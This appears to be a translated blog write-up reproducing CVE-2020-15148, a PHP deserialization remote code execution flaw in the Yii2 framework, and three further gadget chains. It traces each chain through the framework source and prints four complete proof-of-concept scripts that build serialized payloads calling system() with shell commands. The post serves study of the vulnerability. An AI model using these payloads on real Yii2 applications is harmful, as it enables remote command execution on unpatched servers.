Deserialization vulnerability reproduced in yii2 framework

Preface

Recently, when learning PHP deserialization, I encountered the use of yii2 deserialization, so I set up an environment by the way, and followed the articles of various masters on the Internet for a wave of reproduction and learning to improve my code auditing ability.

The vulnerability appeared in the version before yii2.0.38 and was fixed in 2.0.38. The CVE number is CVE-2020-15148:

Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls unserialize() on arbitrary user input. This is fixed in version 2.0.38. A possible workaround without upgrading is available in the linked advisory.

As for the installation of the environment, find yii2 directly from github, download version 2.0.37, and then modify the value of cookieValidationKey in the config/web.php file. Any value will do. Then deploy it normally, just like thinkphp, the root directory is /yii2/web.

Recurrence of CVE-2020-15148

The entry point of this deserialization is a __destruct(). In the BatchQueryResult class,
Insert picture description here
continue to follow up reset():
Insert picture description here
but continue to follow up close(), and find that there is no way to use it. Normally, the chain may be broken, but it is large. The thinking of the masters is different, here _dataReaderis controllable, so if the close method is called, can we find a way to trigger __call?

A global search for __call, and finally \vendor\fzaninotto\faker\src\Faker\Generator.phpfound a suitable __call method:
Insert picture description here
because close is a parameterless method, so the __call $methodis close, which attributesis empty. Continue to follow up the format method:
Insert picture description here
I call_user_func_arraymust be very excited when I see it. Continue to follow up getFormatter:

    public function getFormatter($formatter)
    {
    
    
        if (isset($this->formatters[$formatter])) {
    
    
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
    
    
            if (method_exists($provider, $formatter)) {
    
    
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

Because it $this->formattersis controllable, getFormatterthe return value of the method is also controllable by us. Therefore call_user_func_array($this->getFormatter($formatter), $arguments);, the callback function is controllable by us, but it $argumentsis empty, so it is equivalent to that we can do two things now. You can call any one of yii2. Parameter method, or call a non-parameter method like phpinfo() in native PHP, but the second method is definitely not RCE, so we need to dig in the existing non-parameter methods in yii2:

function \w+\(\)

Insert picture description here
But there are too many non-parameter functions, and it is really hard to dig one by one. Here is the experience and wisdom of the masters, directly search for the parameterless function containing call_user_function:

function \w+\(\) ?\n?\{
    
    (.*\n)+call_user_func

But this rule is not available to me, I feel that my phpstorm search here seems to be a bit problematic.
The ones found at the end rest/CreateAction.php以及rest/IndexAction.phpare all very useful. Here is an analysis of IndexAction.php:
mainly its run method:
Insert picture description here
too direct, $this->checkAccessand $this->idare all controllable, which is equivalent to the direct function name and parameters are controllable, and the deserialization chain ends here.

It's like this:

class BatchQueryResult  ->__destruct()
↓↓↓
class BatchQueryResult  ->reset()
↓↓↓
class Generator  ->__call()
↓↓↓
class Generator  ->format()
↓↓↓
class Generator  ->getFormatter()
↓↓↓
class IndexAction  ->run()

Construct a wave:

<?php

namespace yii\rest{
    
    
    class IndexAction{
    
    
        public $checkAccess;
        public $id;
        public function __construct(){
    
    
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}
namespace Faker {
    
    

    use yii\rest\IndexAction;

    class Generator
    {
    
    
        protected $formatters;

        public function __construct()
        {
    
    
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{
    
    

    use Faker\Generator;

    class BatchQueryResult{
    
    
        private $_dataReader;
        public function __construct()
        {
    
    
            $this->_dataReader=new Generator();
        }
    }
}
namespace{
    
    

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

Write a controller: the
Insert picture description here
Insert picture description here
trigger is successful!
In general, this chain is relatively short. It is rare that __call can be used, and call_user_func is also searched. Learn a wave of masters who find the idea of ​​deserializing and using the chain.

Recurrence of other deserialization chain 1

According to the update of yii2.0.38:
Insert picture description here

Added __wakeup(), which throws an exception directly when deserializing, so the chain starting from BatchQueryResult is not working in 2.0.38. So continue to review and learn about other new chains that the masters have mined for 2.0.38.

Analogous to the idea of ​​the previous chain, yii2 only limits the batchQueryResult class cannot be deserialized, but the following __cal and subsequent chains are intact, so if you want to find a new chain, the fastest way is to find another one. There is such a utilization point as __destruct, and then just one attribute in the class calls a method, and this attribute is controllable, then it is a new chain. Take a
look globally __destruct. After investigation, it is found that the RunProcess class __destructcan be used:
Insert picture description here
Continue to follow up:

    public function stopProcess()
    {
    
    
        foreach (array_reverse($this->processes) as $process) {
    
    
            /** @var $process Process  **/
            if (!$process->isRunning()) {
    
    
                continue;
            }
            $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
            $process->stop();
        }
        $this->processes = [];
    }

Here $process->isRunning(), because it $this->processesis controllable by us, it $processis also controllable, so calling the isRunning method here can trigger __call, and then continue the deserialization attack.
Construct a wave of POC:

<?php

namespace yii\rest{
    
    
    class IndexAction{
    
    
        public $checkAccess;
        public $id;
        public function __construct(){
    
    
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}
namespace Faker {
    
    

    use yii\rest\IndexAction;

    class Generator
    {
    
    
        protected $formatters;

        public function __construct()
        {
    
    
            $this->formatters['isRunning'] = [new IndexAction(), 'run'];
        }
    }
}
namespace Codeception\Extension{
    
    

    use Faker\Generator;

    class RunProcess
    {
    
    
        private $processes = [];
        public function __construct(){
    
    
            $this->processes[]=new Generator();
        }
    }
}
namespace{
    
    


    use Codeception\Extension\RunProcess;

    echo base64_encode(serialize(new RunProcess()));
}

Insert picture description here
The same is used successfully.

Recurrence of other deserialization chain 2

Still __destruct, I found that the Swift_KeyCache_DiskKeyCache class of DiskKeyCache.php can also be used:
Insert picture description here
Continue to follow up clearAll: I
Insert picture description here
did not find a place to trigger __call, but it was found that there is a splicing of strings, which $this->path和$nsKeyis all under our control, so it can trigger _ _toString(). A global search, you can find a lot:
Insert picture description here
According to the master, you can find many available toString, here is a reproduce of see.php:

    public function __toString() : string
    {
    
    
        return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
    }

When you see it $this->description->render(), you know that this chain is completed again, and you can successfully __call to construct a wave of POC:

<?php

namespace yii\rest{
    
    
    class IndexAction{
    
    
        public $checkAccess;
        public $id;
        public function __construct(){
    
    
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}
namespace Faker {
    
    

    use yii\rest\IndexAction;

    class Generator
    {
    
    
        protected $formatters;

        public function __construct()
        {
    
    
            $this->formatters['render'] = [new IndexAction(), 'run'];
        }
    }
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
    
    

    use Faker\Generator;

    class See
    {
    
    
        protected $description;
        public function __construct(){
    
    
            $this->description=new Generator();
        }
    }
}

namespace{
    
    
    use Codeception\Extension\RunProcess;
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache
    {
    
    
        private $keys = [];
        private $path;
        public function __construct(){
    
    
            $this->path=new See();
            $this->keys=array(
                'hello'=>'world'
            );
        }
    }

    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

Insert picture description here

Recurrence of other deserialization chain 3

This chain does not apply to 2.0.38, which is another utilization chain of 2.0.37, but it still takes the __destruct of the BatchQueryResult class as the starting point.
Still follow up here:, $this->_dataReader->close();but instead of looking for __call as a springboard, we look for a class that does have a close method, and the close method of this class can be used. After searching, I found the DbSession class:
Insert picture description here
follow up getIsActive(), and found that it is unavailable, follow up composeFields():

    protected function composeFields($id = null, $data = null)
    {
    
    
        $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
        if ($id !== null) {
    
    
            $fields['id'] = $id;
        }
        if ($data !== null) {
    
    
            $fields['data'] = $data;
        }
        return $fields;
    }

I found out call_user_func($this->writeCallback, $this)that because it is $this->writeCallbackcontrollable, the callback function called is controllable.

If you pass an array to call_user_func(), the entire array will be passed to the callback function as a parameter, and the key of the number will be retained.

Therefore, you can call the run method in the previous chain to implement RCE, and the POC is as follows:

<?php

namespace yii\rest{
    
    
    class IndexAction{
    
    
        public $checkAccess;
        public $id;
        public function __construct(){
    
    
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace yii\db{
    
    

    use yii\web\DbSession;

    class BatchQueryResult
    {
    
    
        private $_dataReader;
        public function __construct(){
    
    
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{
    
    

    use yii\rest\IndexAction;

    class DbSession
    {
    
    
        public $writeCallback;
        public function __construct(){
    
    
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}

namespace{
    
    

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

Insert picture description here
This kind of thinking is also very wonderful, to find a close function that can be used, and the use of call_user_func is also the first time I have seen it, I learned it!

to sum up

I learned a wave of yii2 deserialization chain mining, mainly the flexible use of magic methods such as __destruct, __call, __toString and the use of call_user_function. I learned what I learned.

Guess you like

Origin blog.csdn.net/rfrder/article/details/113824239